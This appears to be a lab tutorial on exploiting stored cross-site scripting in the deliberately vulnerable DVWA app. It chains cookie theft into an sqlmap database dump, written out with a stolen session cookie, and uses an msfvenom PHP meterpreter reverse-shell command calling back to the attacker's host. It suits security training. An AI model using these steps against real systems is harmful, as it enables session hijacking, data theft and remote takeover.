This article is written to bring awareness among all security researchers and developers so that they may be able to learn the level of damage cause by XSS attack if the web server is suffering from cross site scripting vulnerability.
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site.
Stored XSS (Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.
Attacker: Kali Linux
For this tutorial I had targeted DVWA and explore localhost IP in browser; now login with admin: password and select the stored cross site scripting vulnerbility from given list of vulnerbility.
Now have a look over a small script which would generate an alert window. So in the text area given for message I will inject the script which get store in the server.
Now when user will visit this page to read our message his browser will execute our script which generates an alert prompt as showing following screenshot.
This was a small demo to show how to inject any script if server is suffering from XSS and further you will learn what else an attacker can do to cause damage inside a web application server.
If attack is aware that the web server is having XSS then he might think to steal the web cookies which contain session Id therefore he will generate a script to fetch running cookies.
In following screenshot you can see I have injected the script to get web page cookies.
Here in given below image when I have executed the script I have successfully fetched the browser cookies and now further I will use this cookies for retrieving the data of web application server.
SQL INJECTION WITH XSS
It might be possible that the web application server has more than one vulnerabilities, let assume if it is also having SQL injection vulnerability then it become very easy for attacker to retrieve the data from its database using stolen cookies.
For example in DVWA I switch from XSS to SQL injection; now copy its URL with user ID=1.
From above we have browser cookie and target URL for making SQL injection attack. Now open the terminal in your kali Linux and use above cookie and URL inside the command of sqlmap as shown in screenshot
Sqlmap – u “http://192.168.1.8/dvwa/vulnerbilities/sqli/?id=1&submit=submit” –cookie=“security=low; PHPSESSID=r12pk67cuq3s7eo4iktb88sud2” –dbs --batch
Hence you can see it has fetched all present database names inside database system.
Gaining Shell Access with XSS
Now let assume if server is suffering from XSS as well as file uploading both vulnerabilities; in this case how an attacker would be able to cause harm to the web application server.
Firstly let’s prepare our malicious PHP file for uploading in web server. As we always use msfvenom for this purpose and then save the generated PHP codes in a text file as shell.php
Msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 –f raw
Again I switched to file uploading vulnerability in DVWA to upload shell.php and from screenshot you can see our shell.php file is successfully uploaded now copy the highlighted path.
Start multi handler inside the metasploit framework.
Here the text area given for message length is not sufficient to inject our next script therefore make right click on window and select inspect element to view it’s given message length for text area.
Here you can see message length for text area is decided as “50”.
Change message length from “50 to 500” so that it becomes easy to inject our next script.
Now in following screenshot you can see I have injected the path of uploaded file in script which will get saved in the server. When user click on it to read the message he will execute our shell.php file which provide reverse connection on attacker machine.
Here you can see as soon as script will execute it has shown meterpreter session for victim’s PC.